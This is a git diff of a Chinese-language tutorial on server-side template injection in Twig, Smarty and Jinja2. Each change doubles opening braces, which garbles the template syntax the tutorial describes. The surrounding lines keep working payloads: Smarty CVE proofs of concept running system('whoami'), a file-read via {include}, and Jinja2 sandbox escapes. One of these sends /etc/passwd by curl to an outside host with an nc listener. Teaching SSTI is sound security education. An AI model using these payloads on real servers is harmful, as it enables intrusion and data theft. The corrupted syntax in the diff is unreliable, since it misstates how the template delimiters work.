diff --git a/02.WEB安全/11.模版注入.md b/02.WEB安全/11.模版注入.md index 39b8f91..9c4e8d3 100644 --- a/02.WEB安全/11.模版注入.md +++ b/02.WEB安全/11.模版注入.md @@ -162,7 +162,7 @@ echo $twig->render('tags.twig',[ ![img](11.模版注入/1685068449852-e93fa0ab-e941-46cf-8481-980ff6f99a06.png) -有两种形式的分隔符:{% ... %} 和 {{ ... }}。前者用于执行语句,例如 for 循环,后者用于将表达式的结果输出到模板中。 +有两种形式的分隔符:{{% ... %} 和 {{{{ ... }}。前者用于执行语句,例如 for 循环,后者用于将表达式的结果输出到模板中。 需要注意的是twig会生产缓存文件,所以导致有时候模版的变化并不能直接看到效果,可以每次都让php先清理缓存,再渲染模版 @@ -268,7 +268,7 @@ echo $twig->render('tags.twig',[ #### 4.3.5 控制结构 -控制结构是指控制程序流程的所有控制语句 if、elseif、else、for 等,以及程序块等等。控制结构出现在 {% ... %} 块中。 +控制结构是指控制程序流程的所有控制语句 if、elseif、else、for 等,以及程序块等等。控制结构出现在 {{% ... %} 块中。 例如使用 for 标签进行循环: @@ -299,7 +299,7 @@ echo $twig->render('index.html', ['name' => '

whoami

','users'=>$users]); #### 4.3.6 注释 -要在模板中注释某一行,可以使用注释语法 {# ...#}: +要在模板中注释某一行,可以使用注释语法 {{# ...#}: ```plain {# note: disabled template because we no longer use this @@ -395,7 +395,7 @@ echo $template->render(); ![img](11.模版注入/1685069357382-52e857cb-a1d6-41ce-bc16-16d64c5177a2.png) -这里的代码中,`createTemplate`时注入了`$_GET['name']`,此时就会引发模板注入。而如下代码则不会,因为模板引擎解析的是字符串常量中的`{{name}}`,而不是动态拼接的`$_GET["name"]`: +这里的代码中,`createTemplate`时注入了`$_GET['name']`,此时就会引发模板注入。而如下代码则不会,因为模板引擎解析的是字符串常量中的`{{{{name}}`,而不是动态拼接的`$_GET["name"]`: ```php "id"], "system") @@ -792,7 +792,7 @@ docker run -d -p 8080:80 registry.cn-hangzhou.aliyuncs.com/eagleslab/ctf:ssti_tw #### 4.5.1 基础使用方法 -在开始介绍 Smarty 之前先了解一下模板引擎,模板引擎是为了让前端界面(html)与程序代码(php)分离而产生的一种解决方案,简单来说就是 html 文件里再也不用写 php 代码了。Smarty 的原理是变量替换原则,我们只需要在 html 文件里写好 Smarty 的标签即可,例如 {name},然后调用 Smarty 的方法传递变量参数即可 +在开始介绍 Smarty 之前先了解一下模板引擎,模板引擎是为了让前端界面(html)与程序代码(php)分离而产生的一种解决方案,简单来说就是 html 文件里再也不用写 php 代码了。Smarty 的原理是变量替换原则,我们只需要在 html 文件里写好 Smarty 的标签即可,例如 {{name},然后调用 Smarty 的方法传递变量参数即可 安装方法 @@ -839,8 +839,8 @@ $smarty->display($data); 任意文件读取 -- POC:`string:{include file='C:/Windows/win.ini'}` -- 漏洞原因:{include} 标签所导致,被该标签引入的文件只会单纯的输出文件内容,就算引入 php 文件也是如此 +- POC:`string:{{include file='C:/Windows/win.ini'}` +- 漏洞原因:{{include} 标签所导致,被该标签引入的文件只会单纯的输出文件内容,就算引入 php 文件也是如此 - 版本限制:无 引入普通文件: @@ -880,8 +880,8 @@ string:{if system('whoami')}{/if} #### 4.5.3 CVE-2021-26120 -- POC:`string:{function name='x(){};system(whoami);function '}{/function}` -- 漏洞原因:[{function}](https://www.smarty.net/docs/en/language.function.function.tpl)标签的 name 属性可以通过精心构造注入恶意代码 +- POC:`string:{{function name='x(){{};system(whoami);function '}{{/function}` +- 漏洞原因:[{{function}](https://www.smarty.net/docs/en/language.function.function.tpl)标签的 name 属性可以通过精心构造注入恶意代码 - 版本限制:在 3.1.39 版本修复,所以小于 3.1.39 能用 切换到较早的smarty版本 @@ -940,7 +940,7 @@ string:{$smarty.template_object->smarty->setCompileDir('./x')->display('string:{ string:{$smarty.template_object->smarty->setCacheDir('./x')->display('string:{system(whoami)}')} ``` -- 漏洞原因:可以通过`{$smarty.template_object}`访问到 smarty 对象所导致 +- 漏洞原因:可以通过`{{$smarty.template_object}`访问到 smarty 对象所导致 - 版本限制:这个漏洞还没有被修复,我试过最新版本 4.1.0 跟 3.1.44 都能注入恶意代码 测试效果 @@ -949,7 +949,7 @@ string:{$smarty.template_object->smarty->setCacheDir('./x')->display('string:{sy #### 4.5.5 CVE-2021-29454 -- POC:`eval:{math equation='("\163\171\163\164\145\155")("\167\150\157\141\155\151")'}` +- POC:`eval:{{math equation='("\163\171\163\164\145\155")("\167\150\157\141\155\151")'}` - 漏洞原因:`libs/plugins/function.math.php`中的`smarty_function_math`执行了`eval()`,而`eval()`的数据可以通过 8 进制数字绕过正则表达式 版本限制:在 3.1.42 和 4.0.2 中修复,小于这两个版本可用 @@ -1033,15 +1033,15 @@ if __name__ == '__main__': 这里使用的置换型模板,将字符串进行简单替换,其中参数`name`的值完全可控。发现模板引擎成功解析。说明模板引擎并不是将我们输入的值当作字符串,而是当作代码执行了。 -{{}}在Jinja2中作为变量包裹标识符,Jinja2在渲染的时候会把{{}}包裹的内容当做变量解析替换。比如{{1+1}}会被解析成2。如此一来就可以实现如同sql注入一样的注入漏洞。 +{{{{}}在Jinja2中作为变量包裹标识符,Jinja2在渲染的时候会把{{{{}}包裹的内容当做变量解析替换。比如{{{{1+1}}会被解析成2。如此一来就可以实现如同sql注入一样的注入漏洞。 以flask的jinja2引擎为例,官方的模板语法如下: -- {% ... %} 用于声明,比如在使用for控制语句或者if语句时 -- {{......}} 用于打印到模板输出的表达式,比如之前传到到的变量(更准确的叫模板上下文),例如上文 '3*5' 这个表达式 -- {# ... #} 用于模板注释 +- {{% ... %} 用于声明,比如在使用for控制语句或者if语句时 +- {{{{......}} 用于打印到模板输出的表达式,比如之前传到到的变量(更准确的叫模板上下文),例如上文 '3*5' 这个表达式 +- {{# ... #} 用于模板注释 - \# ... ## 用于行语句,就是对语法的简化 -- \#...#可以有和{%%}相同的效果 +- \#...#可以有和{{%%}相同的效果 由于参数完全可控,则攻击者就可以通过精心构造恶意的 Payload 来让服务器执行任意代码,造成严重危害。下面通过 SSTI 命令执行成功执行 whoami 命令: @@ -1654,15 +1654,15 @@ pop()方法可以返回指定序列属性中的某个索引处的元素或指定 这样的话,那么 __class__、__bases__ 等关键字就成了字符串,就都可以用前面所讲的关键字绕过的姿势进行绕过了。 -##### 5.2.7.5 过滤了大括号 {{ +##### 5.2.7.5 过滤了大括号 {{{{ -我们可以用Jinja2的 {%...%} 语句装载一个循环控制语句来绕过: +我们可以用Jinja2的 {{%...%} 语句装载一个循环控制语句来绕过: ```plain {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls /').read()")}}{% endif %}{% endfor %} ``` -也可以使用 {% if ... %}1{% endif %} 配合 os.popen 和 curl 将执行结果外带(不外带的话无回显)出来: +也可以使用 {{% if ... %}1{{% endif %} 配合 os.popen 和 curl 将执行结果外带(不外带的话无回显)出来: ```plain {% if ''.__class__.__base__.__subclasses__()[191].__init__.__globals__.linecache.os.popen('curl http://10.3.66.102:2333/?key=`cat /etc/passwd`')%}1{% endif %} @@ -1670,7 +1670,7 @@ pop()方法可以返回指定序列属性中的某个索引处的元素或指定 # 开启 nc 监听 nc -lvp 2333 ``` -也可以用 {%print(......)%} 的形式来代替 {{ ,如下: +也可以用 {{%print(......)%} 的形式来代替 {{{{ ,如下: ```plain {%print(''.__class__.__base__.__subclasses__()[400].__init__.__globals__['os'].popen('curl http://10.3.66.102:2333/?key=`whoami`').read())%} @@ -1744,7 +1744,7 @@ __ . [ " ' request {{ _ %20(空格) [ ] . __globals__ __getitem__ ``` -我们用 {%...%}绕过对 {{ 的过滤,并用unicode绕过对关键字的过滤。unicode绕过是一种网上没提出的方法。 +我们用 {{%...%}绕过对 {{{{ 的过滤,并用unicode绕过对关键字的过滤。unicode绕过是一种网上没提出的方法。 假设我们要构造的payload原型为: